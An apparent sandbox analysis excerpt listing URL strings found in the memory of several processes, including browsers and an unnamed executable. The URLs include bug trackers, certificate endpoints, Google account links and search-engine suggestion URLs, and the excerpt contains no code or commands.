Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: 8407c5d8e2.exe, 0000001F.00000003.2525581931.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000C25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cH
Source: file.exe, 00000000.00000002.2054723125.000000006FE3D000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2053192962.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2044429853.000000001DE06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 8407c5d8e2.exe, 0000001B.00000003.2308028433.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2426270683.000000000555D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2599108647.00000000054A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000003.1513829142.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000008.00000002.1669640296.000002B259181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comdll
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icoion
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.1514422543.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.1671869534.00002E5C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000003.1513803657.000024D800CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521178800.000024D800EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513772649.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518535982.000024D800EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521077884.000024D800354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521117253.000024D800FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521150358.000024D800CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1534054748.000024D800CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1514422543.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
